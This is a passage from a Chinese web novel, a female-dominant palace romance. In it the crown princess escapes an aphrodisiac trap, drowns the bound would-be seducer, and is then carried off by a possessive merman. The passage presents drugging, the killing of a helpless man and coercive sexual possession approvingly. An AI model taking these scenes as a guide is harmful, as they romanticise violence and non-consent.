“阿凌,孤当然喜欢你,不要怀疑自己在孤心中的地位好吗?” “别哭了,孤看着你红了眼眶会心疼。” 君羲哄人时,甜言蜜语无师自通。 或许对单身未婚人士来说有些油腻,但对坠入爱河、心思敏感的东方凌来说,刚刚好。 他很好哄,瓷白的下巴傲娇微抬,轻哼出声。 “我也喜欢姐姐,最喜欢姐姐,只喜欢姐姐。” 连着三个喜欢,是少年纯粹热烈的爱意。 在遇到君羲之前,东方凌从未想过,他会为一个女子发疯一样地吃醋,妒夫一样地嫉妒他的哥哥。 明明,他之前,一直想退婚来着…… 门外传来敲门声,有小厮询问。 “炽公子,您在吗?” 画舫其实是拜月教的财产之一,所以东方炽才能和君羲独占这艘画舫上观景最佳的房间。 敲门的小厮好巧不起,正好就是那天东方凌救的福全。 东方炽打开房门,就听福全低眉顺眼恭敬道: “公子,诗会开始了,小的奉命来请您以及您的未婚妻。” 东方凌用琉璃瓦遮住孔洞,就仿佛他从未出现一般。 东方炽点点头,和君羲并肩而立,大手揽在女人腰间。 “知道了,你先下去吧,我和未婚妻稍后便来。” 福全不动声色露出赤月令,一张被卷成小卷的纸条,飞快地塞进东方炽的手中。 双方都十分有默契,接过纸条后,福全行礼礼貌离开,东方炽则是关上房门,展开纸条,察看讯息。 踏。 轻声落地的声音,君羲和东方炽朝着声源的方向看去—— 就见少年郎一个倒挂金钩,动作俊俏地从轩窗外翻了进来,轻声落地,宛如一只灵巧的猫。 果真是猫,粘人得紧。 东方凌粘在女人另一边,凑过头去看纸条。 两兄弟看清楚纸条上的内容后,似笑非笑地看向君羲。 只见那纸条上写的内容正是沈思文母子俩对君羲的算计。 沈长卿,东方炽和东方凌都有过耳闻,漾州女郎都对其狂热追捧,视其如心尖白月光。 君羲当初下旨同拜月教和雪月剑庄缔结婚约,除了掌控江湖势力外,另一个原因是看中了他们的好相貌。 君羲好颜色的传言并非空穴来风,民间传闻,她手中有一只暗卫军,眼线遍布整个大凰十六州。 这些眼线会暗中搜罗天下绝色男子的画像,源源不断地传向玉京城,以供君羲挑选充盈后院。 他们就是这样被选中的。 沈长卿的姿容虽然是由衣装堆砌而成,但是那副故作清高的清冷姿态,很是惹人追捧。 君羲她,会不会将计就计? 君羲冷笑出声,将纸条化作齑粉。 就算这个世界上只剩沈长卿一个男子,她也不会同他扯上任何关系! 这一世,阴差阳错下,居然让君羲知晓了上一世她同沈长卿“意外”的一夜情,竟是沈思文一手算计。 好一个野心勃勃的沈县丞,把儿子当做攀附权贵的筹码培养。 “阿炽,阿凌,陪我看一出好戏。” 东方炽和东方凌见君羲这般神色,就知道沈长卿根本没有入女人的眼,甚至还对他厌恶至极。 东方炽笑得一脸灿烂。 “好啊,我陪殿下。” 东方凌没说话,只是默默翻身上了房顶,看来是准备暗中看戏了。 君羲和东方炽来到诗会现场,算得上姗姗来迟。 刚一入场,就受到了诗会席位上追捧沈长卿女子的不善目光,似乎是在责问他们为何不给长卿面子,来得这样晚? 东方炽和君羲仍旧风淡云轻,闲庭信步地走到最前面的位置上坐下。 根本没将那些挑衅、不痛不痒的目光放在眼里。 沈思文显然是个人精,就算他心里在打将沈长卿嫁给君羲的主意,对东方炽还是恭恭敬敬。 东方炽所在的拜月教,已经成了气候,就连知州也要卖拜月教的面子,沈思文自然不会落人话柄。 “炽公子大驾光临,我敬你和这位贵人一杯。” 她没说破君羲身份,笑眯眯的样子,像极了一只精明的狐狸。 “这位贵人,看您装束似乎是第一次来羽城,这是我们羽城特有的佳酿——千羽酒,敬您一杯。” 东方炽端起酒杯,晃了晃,举杯饮尽。 君羲明了,阿炽是在告诉她酒没问题。 “客气。” 她举杯遥遥一碰,仰头一口闷,换来沈思文爽朗大笑。 “这位贵人,周身气度不凡,行事不拘小节,我同贵人相见恨晚,来来来,今晚我们吟诗赏月,不醉不归!” 沈长卿一言不发,只有微动的幂篱能证明他并非一尊静止的木偶。 一杯接一杯下肚,不知为何,明明度数极低的千羽酒,此刻却让他脑袋有些发昏,看不清宴席间的场景。 沈长卿摇了摇头,想借此让自己清醒。 思绪却越来越混沌,恍惚间,似乎看到了一直萦绕在他心间的心仪身影。 明月? 他眯起眼睛望去,母亲没骗他,真的是明月! “长卿公子才高八斗,今夜不如以月为题,吟诗一首,也让咱们看看漾州第一公子的风采?” 有人起哄,沈长卿只想赶紧离席,投入君明月怀抱,一诉苦楚。 他举杯对明月,蓝色的幂篱一角扬起。 “孤月挂寒空,清辉入梦中。” “凭栏思旧事,别绪几人同?” 第76章 晦气 沈长卿看到熟悉的身影只觉得满心酸涩,隔着一世时光,他终于见到心爱的女子了。 殊不知,那人只是沈思文寻来的身高体型和君明月差不多的女子,加上他饮了加料的酒,百分百会把人看错。 沈思文计划用“君明月”引沈长卿追去她精心给太女殿下准备的房间。 房间里有一番独特的暧昧涩情设计,为的就是让君羲和沈长卿顺利春宵一度。 沈思文见沈长卿成功被“君明月”吸引,装作一副慈母作态。 “长卿,去吧,去见你日思夜想的人,这儿有为母。” 沈长卿欢喜极了,若不是众目睽睽之下,他怕是会失态。 蓝色幂篱微动,他微微颔首。 “母亲,谢谢你。” 沈思文看向因沈长卿吟诗而骚动的人群,笑意不达眼底。 “长卿,你是我最看重的儿子,不要让为母失望啊。” 沈长卿一颗心早就被“君明月”勾去了,加上喝了酒,脑子不清醒,还以为沈思文是在提点他。 若是真的得到当朝公主的青睐,不要忘了生他养他教他的沈氏家族。 毕竟和皇室比起来,沈氏家族只能算是打秋风的破落户,沈长卿自认为领会了沈思文的意思。 “母亲,你放心,儿子心里永远有沈家。” 沈思文听了这话,一丝愧疚在心头一闪而过,但也仅仅是一丝,很快,她就说服了自己不用愧疚。 比起嫁给一个毫无实权的公主,嫁给当朝储君才是最好的选择。 她只是一个为了儿子深渊打算的母亲罢了。 沈长卿年纪轻,没有经验,她作为过来人,让儿子少走弯路而已,在正常不过的事情。 不得不说,沈长卿厚颜无耻的性格就是遗传了沈思文。 她们都擅长将过错推到别人身上,自己站在道德的制高点指指点点。 沈思文收回目光,举杯对着一众因沈长卿离席而吵吵嚷嚷的宾客,举止有礼,进退有度。 “诸位贵宾见笑了,小儿因喝多了酒,此刻去醒酒去了,大家吃好、喝好、玩好,我在这里替长卿自罚三杯,给诸位贵宾赔罪。” 主人家三杯酒爽快入肚,彬彬有礼赔罪,被临场放鸽子的宾客们纵然心中不满,也不好在说什么了。 这艘画舫是拜月教的所有物,一直以奢华精贵闻名,船上娱乐项目很多,虽没了漾州第一公子作陪少了几分雅趣,但也算不虚此行了。 觥筹交错,欢声笑语。 此起彼伏,源源不绝。 君羲慵懒靠在椅子上,喝醉的凤眸就像染上了晚霞颜色,看上一眼,就觉得美极,只应天上有。 东方炽手臂搭在椅背上,时不时投喂一下喝得微醺的女子。 二人均身穿红衣,容貌绝艳。 女人一派风流雅痞、却又带着刻在骨子里的矜贵。 男人收起了平日里阳光和煦待人的形象,占有欲十足地将人圈在领地范围,一双黑沉凶狠的眸警告般扫过看向女人的男子们。 “殿下,你不能在喝了。” 君羲颇有一醉解千愁的豪气,她微微眯着眼,显然是醉得不轻。 “你是谁啊?” 居然管到她头上来了,真是胆大包天! 东方炽知道君羲是在演戏,但听到女人不认识他的话语时,他发现,他心里难受得紧。 他眨了眨眼,将眼眶涌上的酸涩强压下午。 “你说我是谁?” 女人噗呲一声笑了,斜支着头。 “难不成是孤未过门的夫郎?” 东方炽直接俯身在君羲侧脸亲了一下,眼神挑衅地四处扫射。 “你说呢?殿下。” 就在二人打情骂俏时,福全端着一壶酒走了过来。 “大人,小人给你们倒酒。” 计划开始了。 东方炽和君羲不动声色,任由福全夸张地将酒液洒在君羲衣袍。 东方炽拍桌,显然怒了。 “大胆!弄脏了殿下的衣服,你是谁家的小厮?” 没想到,东方炽的演技还挺好,君羲暗中肯定了男子的演戏能力,冷眼扫向被吓得扑通一声跪地、哭着求饶的福全身上。 “你是谁家的小厮,怎的这般无礼?” 福全带着哭腔请罪。 “贵人,小的真的不是故意的,很抱歉扰了贵人的雅兴,小的带贵人去厢房换一件衣裳吧?” 演戏演全套,君羲扮黑脸,只见她重重甩了一下衣袖。 “晦气。” 东方炽演白脸,连忙哄着女人。 “还不快带路?” 沈思文隔着人群密切关注着君羲这边的情况,看样子,计划进展得很顺利。 捉奸要成双,待半个时辰后,她便找借口去寻沈长卿。 只要众人都要看到是君羲把她儿子清白给夺了,她在装作一个痛惜儿子遭遇的好母亲…… 到时,木已成舟,大势所趋,君羲定然会纳了长卿。 可惜了,沈氏父子得罪了福全,沈思文的计划在君羲和东方炽面前,全是透明的。 君羲和东方炽将计就计被福全引开,刚走到一半,东方炽就被沈思文安排好的“客人”拦住。 于是,只剩下喝得醉醺醺的君羲跟着福全去更衣。 走到无人的角落,福全刚想开口说些什么,就见君羲对他摇了摇头。 她用唇语无声说:隔墙有耳,做戏做全套。 “贵人,更衣室到了。” 吱呀一声,精巧的雕花木门缓缓打开,浅红色的纱幔自房梁上垂落,房间的正中央,有一张洒满红色花瓣的软床。 随风飘荡的纱幔时不时露出床上光景,床上赫然是一个衣衫凌乱、满脸潮红的年轻男子。 福全快速小声说了两个字“小心”,然后就暗计划撤离,掏出钥匙给房门上了锁。 沈思文是担心到嘴的鸭子飞了。 命福全看门,待时机成熟,在打开房门。 门刚一关上,君羲眼底就恢复了清明,她一手紧握着吊在胸前的蓝色琉璃瓶,溟汐的气息让她不受屋中烈性春药的影响。 当然,为了以防万一,君羲还是选择上双重保险,用了摒息功法。 她眉梢微蹙,真是高看了沈思文,尽是些下三滥的手段,跟沈长卿一样,上不得台面。 房内软床右下角,香炉里燃着熏香。 熏香遇酒则会让人沦为欲望的奴隶,君羲冷眼看着床上跟蛇一样不断扭来扭去,嘴里一直喊热的沈长卿。 沈长卿注意到了房中多了一人,他费力半直起身体,迷离的醉眸带着钩子般,直勾勾盯着君羲看。 他甚至凭借潜意识做出魅惑姿态,将衣衫半退,露出洁白性感的锁骨,以及若隐若现的红樱。 “明月,你怎么不过来?我想要……你。” 君羲不为所动,抱胸站在离沈长卿最远的房门处。 沈长卿咬了咬唇,将君羲看成了君明月,他想到是将清白教给心爱的女子,也就不打算故作矜持了。 他也不是什么未经人世的青涩少年,懂得如何让一个女人欲火焚身,恨不能在床榻间抵死缠绵。 只见他主动脱衣,扯过一旁的半透红纱在赤裸的身躯上缠绕,恰到好处地在敏感点打上蝴蝶结。 “明月,爱我……快……” 他低声喘着,一双眼带着勾引意味,欲说还休地望着“君明月”。 “我好难受,救救我。” 君羲有些失望,还以为沈思文能折腾出什么花儿来,结果…… 就这? 她不想在看辣眼睛的一幕,沈长卿这幅姿态,比临风楼里的男倌都不如。 说起红衣,还是她的夫郎才配。 她如今可是有家室的人,可不能乱来。 君羲十分自觉,原本是想看看能不能从沈思文母子身上得到安王、知州和倭寇交易的信息,却没想到,思文是看上她了。 君羲抬步欲走,沈长卿嘤咛一声,朝着她跌跌撞撞扑过来,软声挽留。 “别走……” 君羲灵活一个侧身,让沈长卿扑了个空。 “还请沈公子自重。” 第77章 妻主,你可真是不乖呢 “还请陛下自重!” 类似的话语,似一道惊雷,把沈长卿被春药折腾得迷迷糊糊的脑袋炸醒。 他难以置信地瞪大了双眼,背靠在门扉上,显然还没有彻底清醒。 沈长卿用防狼一样的眼神戒备地打量着君羲,上一世和这一世的记忆在他脑海里混乱的纠缠。 “别过来。” 他死死捂住胸口,就像君羲要占他便宜一样。 君羲痴笑一声。 “白痴。” 沈长卿怒了,眼里燃烧着怒火,不服气瞪视君羲。 “你骂谁白痴呢?” 他摇了摇脑袋,他明明是跟着明月的身影进的厢房,母亲也说了会让他得偿所愿。 所以…… 只有一种可能,君羲色心不改,尾随他跟进厢房,想像上一世一样霸王硬上弓,把他强要了! 沈长卿面露恐惧,所有想法全都表现在脸上。 君羲一阵无语,对让她频频无语的人,君羲可不会轻拿轻放。 随性一巴掌打醒沈长卿自顾自的幻想。 扬手,落下。 “啪!” 沈长卿脸被一巴掌打歪,嘴角破开,那张本就青青紫紫的脸更难看了。 君羲可没有不打男人的习惯,看不爽的,少说话,多动手。 “清醒了吗?” 沈长卿倍感屈辱,果然,上一世君羲对他的好全都是假装的!现在的君羲才是真正的她,粗鲁无礼、毫无风度。 “回殿下的话,清醒了。” 君羲没注意到的是,床底下还有一种浅到几乎没有味道的香在房间中无声弥漫。 这香正是沈思文找的“烈春”! 能通过接触皮肤的方式让人中招,防不胜防。 君羲只觉得胸口有些燥意,立马意识到,她这是中招了。 沈思文这老狐狸,果然还是留了一手。 好在她之前刚突破了武者八重,又随身带着溟汐的血,暂时可以压制住。 君羲能凭借深厚的内力压制住,沈长卿可就不行了。 他本就是养在深闺中的男子,比起学武,他更喜欢学男戒男德、诗词歌赋。 沈长卿手无缚鸡之力,已经被烈春猛烈的药性逼得浪态大发。 “热、好热……” “要,我要……” 君羲和君明月本就是同父同母,长得有三分相似,沈长卿被热迷糊了,根本记不得先前被打了一巴掌的事。 他自发撕扯掉身上的衣物,就要朝着君羲扑过去。 君羲:晦气! 她一把扯下房梁上悬挂着的红纱,动作快准狠、在不接触沈长卿身体的条件下,把沈长卿当猪捆。 一条又一条纱幔被扯下,全都用于捆沈长卿这头鼻青脸肿的猪了。 沈长卿被捆得结结实实,双眸不停流泪,求女人要他,别提多狼狈。 君羲居高临下,一脚踩在沈长卿脸上,就像碾垃圾一样左右用力碾压,把他脸都踩变形了,生疼。 “你也配?” 沈长卿以一个别扭的姿势躺在地上,脸被君羲毫不怜惜地踩住,神智终于恢复了一丝清明。 “君羲,你混蛋!” 沈长卿委屈极了,就算上一世君羲最讨厌他那会儿,也不过是罚跪打板子而已。 用脚踩他脸,这种方式太侮辱人了。 沈长卿控制不住的涕泪横流,本就难看的脸更不堪入目。 君羲觉得,踩沈长卿的脸,简直是脏了她的脚。 “长卿公子出事了?” “思文姐,我们快些吧,可不能让长卿出事!” 门外,传来浩浩荡荡的声响,看来,沈思文是打算杀敌一千,自损八百。 沈思文根本不在意沈长卿的名声,只想着攀附权贵,福全从她跟前路过,悄然比了个事成的手势。 沈思文欣喜若狂,险些压不住拼命上扬的嘴角。 “哎……长卿这孩子,让这么多长辈替他操心,真是不应该。” 她一边说,一边控制不住地加快步伐,一心想的都是成了,她以后就是当朝太女的丈母娘! 未来帝王的岳母! 屋内,君羲早就得到了福全的提示,讥讽地勾起唇角。 来得真是快,生怕她这只金龟妻跑了。 沈长卿还不老实,眼见他伸出红艳艳的舌头探向她的鞋底,君羲浑身不适,飞快收回脚。 好险! 她差点就脏了! 君羲提起红纱,沈长卿不断扭动企图挣开束缚,奈何君羲动作稳得一匹,任由他如何扭动,都无济于事。 东方炽翻窗进来,“殿下,你没事吧?” “阿炽,孤没事,你先离开这,房间里有烈性春药。” 东方炽眸带担忧,怎么能算没事呢? 身为江湖中人,他最知道市面上有些黑市中流通的春药,实际上对人身体有很大的伤害。 也不知道君羲是中了哪一种,会不会对身体造成后续不良的影响。 但门外的声音越来越近,他也知道,目前不是说这个的时候,当务之急,是离开这间房间,避免被抓奸。 “殿下,快走。” 君羲提着“猪”走到大敞着的轩窗面前,看着盈盈水波,心里有了主意。 亲者痛,仇者快,可不是她的行事风格。 君羲清楚地记得,沈长卿不会水。 漾州虽然四季如春,但夜里的湖水。却是凉得彻骨,让身娇体弱、不会水性的男子毙命绰绰有余。 君羲提着沈长卿探出窗外,骤然改变的环境和突如其来的滞空感,让沈长卿心中猛然一悸。 他清醒过来,哭着流泪,拼命摇头,企图唤醒女人对他的一丝怜惜。 君羲残忍一笑,眼底的神色阴郁又疯狂。 “再见。” 女人的声音凉薄又冷酷,松手的动作丝毫没有拖泥带水。 失重感让沈长卿尖叫出声,可惜他的嘴被君羲用内力封得严严实实,根本叫不出声。 他眼底满是绝望,怎么就这么倒霉呢? 本以为凭借重生带来的记忆,可以在这一世风生水起,没想到却被君羲玩弄于股掌之间。 扑通一声,沈长卿落水了。 不说他不通水性,就算他通水性,被严严实实束缚住四肢,再好的水性也只能望洋兴叹。 在水里窒息无法挣扎是怎样的一种感受? 沈长卿现在知道了。 胸腔快要爆炸开来,眼前能透过清澈的湖面,看到华丽的画舫。 那些欢声笑语、高谈阔论似乎近在耳侧,又似乎远在天边。 意识不由他操控,灵魂和躯壳似乎变成了两个完整的个体。 灵魂在无意识地游荡,身躯却在水中不断地沉下。 他要死了吗? 君羲就这样居高临下地看着,水花渐渐在夜色中归于平静,涟漪渐渐平缓无波。 生命还真是脆弱呢。 “阿炽,你会不会觉得孤太残忍了?” 父亲、母亲都把她视作冷血的怪物,君羲其实并没有太多的感受,单纯问一问而已。 东方炽摸了摸少女被夜风吹乱的发,捧着她的脸,认真道: “殿下,我只知道,未经他人苦,莫劝他人善。” “更何况,我并非正教中人,殿下你这手段,算是温和了。” 都没让死者遭受太大的痛苦。 君羲伸手环住男人劲瘦有力的腰肢,隔着薄薄的春衫,似能感受到衣服下潜藏的肌肉爆发力。 她靠在东方炽胸膛,软声撒娇。 “阿炽,带我走。” 东方炽将君羲打横抱起,飞身而出,夜风缠绕她们身侧,月色下的红衣男女,般配极了。 “妻主,你可真是不乖呢……” 溟汐循着熟悉的气息,片刻不停游到画舫。 刚到,就看到君羲把沈长卿丢进湖里的一幕,心中夸她的话还没说出口,就见她主动靠在一个野男人身上! 鲛人长长的银发被水染湿,月光在他身后拖曳出一道眩目的光影。 溟汐本就在发热期,情绪会被成倍放大,此刻他只想把属于他的伴侣抢回来,藏到深海。 让女人再也逃不出他的掌控,旁人也无法勾搭他的伴侣。 半明半暗的光影在鲛人脸上切割出令人心惊的美感。 溟汐仰着头,看向君羲和东方炽,心里的野兽终于挣脱重重枷锁,挣出牢笼。 “羲羲,等抓到你……” 他眼底的欲色浓得吓人,锋利的犬牙轻咬舌尖。 抓到后,*死她。 …… 第78章 羲羲,抓到你了哦 “烈春”不愧是黑市上千金难得,有价无市的春药。 饶是君羲有双重保险,在东方炽抱着她离去后,也有些压制不住身体的燥热了。 坏消息,君羲中招了。 好消息,她可以找男人解药。 也正因为如此,君羲才放心地不再压制欲望的爆发。 女人身居高位已久,纵然是中了虎狼之药,想索取的动作也显得矜持克制。 瓷白的手攥紧男人胸前衣襟,控制不住地在男人健硕的胸肌上抚过。 乌发雪肤的美人将侧脸完全贴在男人胸膛,小猫撒娇般地轻蹭。 “阿炽,孤有点热。” 君羲只觉得自己呼出的气又烫又热,儿童他紧紧相贴的男人便是那一块诱人的冰,凉凉的,好舒服。 渐渐地,她不再满足于隔着薄薄春衫的触碰,试图将手伸进衣服里面,直接接触能让她热度下降的源头。 女人的手宛如狡猾的蛇,仗着男人双手抱着他,没有手阻止她过分的动作,越发胡作非为。 也不知碰到了哪里,惹得东方炽闷哼一声,险些步伐不稳,从空中摔下去。 “殿下,先忍忍,等回去便给你。” 君羲才不呢,她就要。 缠住他,得到他。 君羲被药效影响,将男人的衣襟扯得乱七八糟,探出舌尖轻拂,惹得男人尾椎骨一激灵,酥麻感传遍整个身体。 东方炽被君羲撩出了欲火,眸底被烧得赤红,他换单手抱住君羲,另外一只手制止她在他胸肌乱啃。 “殿下……” 待会儿有她好受的! 东方炽默默加快回据点的动作,千羽湖面,距离画舫比较远的一个偏僻角落,芦苇荡中停着一艘不起眼的小船。 麻雀虽小,五脏俱全。 虽然只是一艘小船,但是里面的一应设施非常齐全,甚至称得上精美讲究。 柔软舒适的床榻,极品黄梨木做成的茶几,茶几上摆着一碟造型好看、口感软糯的糕点。 船舱内的暗格打开,有一排排白色瓷瓶,瓶塞用红色绸布做装饰,里面是装好的桃花酒。 东方炽被君羲撩拨了一路,刚刚落在船上,便急不可耐地将女人带进船舱,压倒在柔软的床榻间。 床榻间的触感像天上柔软的云朵,后背陷入,君羲整个人迷迷糊糊,只睁着一双带着春意的凤眼勾东方炽。 “阿炽,我想……” 就算是被药烧得不轻,君羲还是习惯性想在床榻间占据主导地位。 她故意不将话说全,朝着男人勾了勾手,示意他压低身子,凑到跟前来。 东方炽照做,君羲贴近他耳畔,热热湿湿的气息喷洒在男人耳骨,让东方炽红了耳根。 她…… 她说,想让他*她。 什么虎狼之词,别看东方炽长了一副狼狗般又野又欲,桀骜不驯的脸,实际上,他所有关于男欢女爱的记忆都来自身体里的另外一个“他”。 真刀实枪地干,他还真没经验。 察觉到内心真实的想法,东方炽暗自心惊,他不是一直想退婚吗?怎么不知不觉间,对君羲的厌恶变得越来越淡…… 现在甚至…… 甚至有点喜欢? 东方炽紧张得不知道该如何做,任由女人在他身上点火,他努力回想“他”是怎么做的。 可把“他”急坏了,焦急道: [你行不行啊?不行就换我来,我保管能将殿下伺候得舒舒服服,直哼唧。] 东方炽根本不理会“他”,他终于有了动作,大手将女人的双手交错,握在手心,然后按过头顶,倾身而下。 双唇相触,君羲迫不及待缠了上来,让东方炽心脏越跳越快,原来,接吻是这种感觉啊。 就在二人忘情的亲吻,渐入佳境时。 溟汐就在船底! 船身随着东方炽和君羲的动作一直摇晃,搅动水面涟漪不断,足见二人有多激烈。 溟汐就这样静静地望着晃动的船底碧眸里是铺天盖地的醋意和怒火,微卷的银发丝滑流畅地随着水流而动。 突然察觉到了什么,他嘴角勾起一抹得逞的笑意。 “哥,姐姐这是怎么了?” 东方炽上半身的衣服已经被脱光了,君羲跨坐在他结实有力的腹肌上,衣裳散落一船,暧昧横生。 东方凌一直跟在她们身后,他本以为可以忍住不去打扰,但亲眼见心仪的女子同哥哥欢爱,他终归还是无法忍住不去阻止。 明明君羲几乎是同一时间认识他和哥哥,哥哥和姐姐间已经有了好多次鱼水之欢,他却没有得到过…… 东方凌发现他该死的在意,想让君羲同他在一起。 所以,他故作不知,进了船舱。 东方炽一向让着东方凌,被最爱的弟弟打断后,看着弟弟眼底的无措和震惊,东方炽被情欲支配的大脑回来了。 暧昧氛围被打破,东方炽拿过一旁被女人抱着深吸轻蹭的衣裳,对着东方凌说话时,语气有些僵硬。 “阿凌,事情不是你想的那样,你听我解释好不好?” 东方凌眼眶湿润,固执地寻求答案。 “哥,你不是说讨厌姐姐,想解除婚约吗?为什么现在又同姐姐纠缠不休?” 他语不惊人死不休。 “你昨晚答应过我,会和我公平竞争。” “哥,你要食言吗?” 东方炽和东方凌两兄弟达成了什么共识君羲不知道,她只知道在不来个男人给她降降温,她就要热死了。 “热……” “阿炽,阿凌……孤好难受。” 女人无助的嘤咛声唤回了东方凌和东方炽的注意,兄弟二人相视一眼,双生子的默契让他们知道,对方绝对不会让步。 既如此,那就打一场,赢家便能在今晚春宵一度。 君羲没想到,她都快被欲火烧熟了,东方炽和东方凌居然跑去打架决定今晚谁侍寝去了…… “呜……别走。” 她难受地在床褥间乱蹭,眉眼泛粉,香汗淋漓。 螳螂捕蝉,黄雀在后。 溟汐就是那一只黄雀! 铮、铮、铮—— 东方炽和东方凌兄弟俩打得热火朝天,完全没注意到,他们拼尽全力争取的珍宝,被人暗度陈仓,偷走了! 溟汐长尾摆动,身体上浮。 嘎吱、嘎吱…… 尖锐锋利的指甲在船底划圈,很快,就形成了一个容许一人通过的圆圈。 溟汐伸手将圆形木板取下来,随意往水中一丢,在船沉之前,通过圆孔上了船。 他第一时间抱住身躯滚烫、欲火焚身的女人,舒服地喟叹出声,满足地眯起双眼。 “羲羲,抓到你了哦。” 第79章 挑一件,穿给我看 听到熟悉的声音,君羲混沌的意识清醒一瞬,她认出了溟汐。 “阿汐?” 将心爱的女人抱在怀中,溟汐不再压制发热期的到来。 “是我,羲羲。” 鲛人宛如天籁般的嗓音,带着丝丝缕缕的蛊惑。 他说:“羲羲,跟我去深海就不难受了,我带你去?嗯?” 仗着君羲现在好忽悠,眼底的暗色几乎是明目张胆地告诉女人,此去深海,绝不是那么轻易就会放过她的。 鲛人血液的温度相比人类会凉一些,君羲舒服极了,好喜欢溟汐身上的海盐薄荷味道。 身上也凉丝丝的,好舒服。 她点头,“好啊。” 反正溟汐也不会伤害她,君羲对溟汐很信任,依赖靠在男人宽阔的肩膀。 “阿汐,孤好想你。” 是么? 溟汐惩罚般咬了君羲下唇一口,骗子,明明跟别的男子花前月下,还不止一个! [妻主,今晚就要彻底标记你了,不要怕,我会很轻很轻……] 溟汐眼底暗色深沉,占有欲达到了顶峰。 [不会让你疼的。] 久违地听到夫郎心声,可惜,君羲却无瑕分辨。 溟汐霸道极了,皱起眉头将床褥全丢开,又像小狗一样在君羲身上蹭来蹭去,直到女人身上都是他的气味才心满意足停下动作。 船沉之前,溟汐早就带着君羲深潜湖底,朝着南海深处游去了。 “哥,不对劲。” 东方凌第一时间发现不对,船没了,船上的君羲又去哪里了? 他心里着急,万一君羲因为他的缘故被旁人暗害…… 东方凌几乎不敢深想下去,他懊恼地捶打前额,早知道会这样,他还不如忍忍呢。 东方炽对气味敏感,刚靠近沉船的上方,就察觉到了溟汐的海盐薄荷味道。 “有人来过。” 他记得,君羲有一个夫郎是南海鲛人,难不成,是鲛人趁他们不备,将女人偷偷带走了? 东方炽心里苦涩,也不知道,君羲被带走时有没有拒绝过…… 东方炽和东方凌如何懊恼不该起内讧,应该一致对外时,溟汐已经带着君羲回到了南海鲛人族族地。 鲛人,海上最瑰丽的传说。 鲛人的族地,位于南海深处,海底深处,陆地人望洋兴叹的宝物对鲛人来说不过是囊中取物。 “汐回来了!” “听说汐还带回了伴侣,真不愧是我们鲛人族最厉害的鲛人!” “汐皇子可惜了……不是雌性。” “……” 溟汐刚刚靠近鲛人族地,就引发了一系列热火朝天的讨论。 他不悦地阴沉着一张脸,好烦,这些人都好烦。 为什么要叽叽喳喳叫唤个不停? 他只想带妻主回领地,将自己所有的珍宝全部献上,讨伴侣欢心,然后让伴侣心甘情愿陪着度过发热期。 “汐,这就是你的伴侣?长得也就……” 溟朝本想说溟汐的伴侣丑,但一晃而过,惊鸿一瞥的容颜让他梗了一下,实在无法昧着良心说君羲那张艳若朝霞,纯若芙蓉的脸丑。 他身为溟汐的死对头,一向看不得溟汐好运。 硬生生挤出三个字。 “一般般。” 若是处于正常状态的溟汐,可能不会同溟朝一般计较。 但此刻他处于发热期,所有情绪被放大数倍,不允许旁人对他的伴侣一丝一毫的诋毁。 所以他忍着脸,冷呵一声。 “滚。” 溟朝被吓了一跳,溟汐这是吃炸药了?怎么脾气这么火爆? 说是死对头,其实,以前的他们是形影不离、肝胆相照的好兄弟。 溟朝只是看不惯溟汐为了一个人类女人就放弃族中权势,孤身北游到人类女人身边,就为了那可笑的恩情! 他倒要看看,这个人类女人给他的好兄弟灌了什么迷魂汤! 刚把脑袋凑过去,就被溟汐一巴掌拍在头上。 “啪!” 老响了。 溟朝瞬间跳脚了,嚷嚷着要同溟汐绝交! “溟汐,你太过分了!十几年的兄弟情谊还比不过你同这女人几个月的相处?” 他一副心寒不已的样子,可惜,溟汐一心放在君羲身上,目光都懒得在好兄弟溟朝身上停留一秒。 “嗯,比不上。” 他冷冷落下这句话,抱着君羲就往他寝宫方向走去。 不对劲,真的太不对劲了! 溟朝看着溟汐的背影,以往溟汐的性子虽然冷了些,但绝不会说这么不过脑子的话。 难不成…… 溟朝瞪大双眼,朝着溟汐的方向追过去。 “汐!你发热期到了?” 溟汐不理不睬,甚至加快脚步。 发热期期间,但凡是试图靠近他和君羲的,都会被他视作争抢伴侣的敌人。 溟朝慢了一步,厚重的宫殿大门砰的一声关上,若不是他反应快,差点就被门夹脑壳了! 他气急败坏地跺了跺脚,咬牙切齿指着殿门骂。 “溟汐,你个丧良心的!老子都是为了你好!” “第一次发热期,你要是不想彻底失控伤到伴侣后悔莫及就给老子开门……” 溟朝气得哦,一口气不间断地输出,但回应他的,只有冷冷的海水和无声的寂静。 他不解气啊,上前踹了一脚殿门,结果给自己踹疼了。 溟朝抱着踹疼的脚,心里骂骂咧咧,溟汐这个见色忘义的混小子。 他一时情急,忘记了溟汐宫殿大门是用海底最坚硬的石头作为原材料做的,难怪他脚疼。 而且,溟汐这个小心眼的,居然还用内力封门。 溟朝嘴角直抽抽,虽然鲛人一族是出了名的对另一半忠诚,但,溟汐这种程度的恋爱脑…… 在鲛人族中,都算离谱的了。 罢了,罢了。 好兄弟是个恋爱脑,也只有他这个做兄弟的替他操心了。 第一次发热期,没有正确的度过,真的会出大事的! 溟朝想到这里,也不骂溟汐了,他得赶紧汇报给族母,让族母介入处理。 免得溟汐发热期伤到伴侣……甚至杀了伴侣后,悔恨终身。 溟汐进了自己的地盘,立马就用内力封锁了能封锁的门,以免有不长眼鲛人打扰他和妻主的二人世界。 他抱着女人来到一间堆满各式各样清凉衣物的房间,满眼火热,询问君羲。 “羲羲,这是我给你准备的,看看喜欢吗?” “挑一件,穿给我看……” 他溟汐拉长尾音,轻声诱哄。 “好不好?” 第80章 满室画像,银色锁链! 鲛人族风俗同大凰大不相同,女性鲛人喜欢能展开身体优点的服装,加上她们生活在海中,为方便行动,衣裳都是以清凉简便为主。 君羲人被春药折磨得模模糊糊,但看了那一排排、一列列性感撩人的衣服,意识都清明了一瞬。 这都是些什么衣服! 拜月教那晚,她同东方凌在一起时的衣服,都不曾如此露骨…… 溟汐虽然在温声哄着她,但鲛人身上可怖的低气压以及翻滚的醋意快要将她整个人淹没。 君羲怂了,在这种时候,溟汐本就生气吃醋,那放在她腰间的大手已经在迫不及待昭示雄性鲛人极强的占有欲了。 君羲咽了咽口水,溟汐这是想把她弄死在床上啊。 穿上这些特意准备的衣服,她怕刺激到本就如狼似虎的男人…… 那…… 她怕是别想下床了。 君羲还不知道溟汐发热期之事,鲛人的发热期只有在两心相交时,鲛人感受到伴侣真挚的爱意才会发作。 物竞天择,发热期的鲛人孕育后代的几率会比平时大许多。 属于女人的第六感,让君羲感受到了危险,所以她满脸依赖地将自己埋在男人的胸膛。 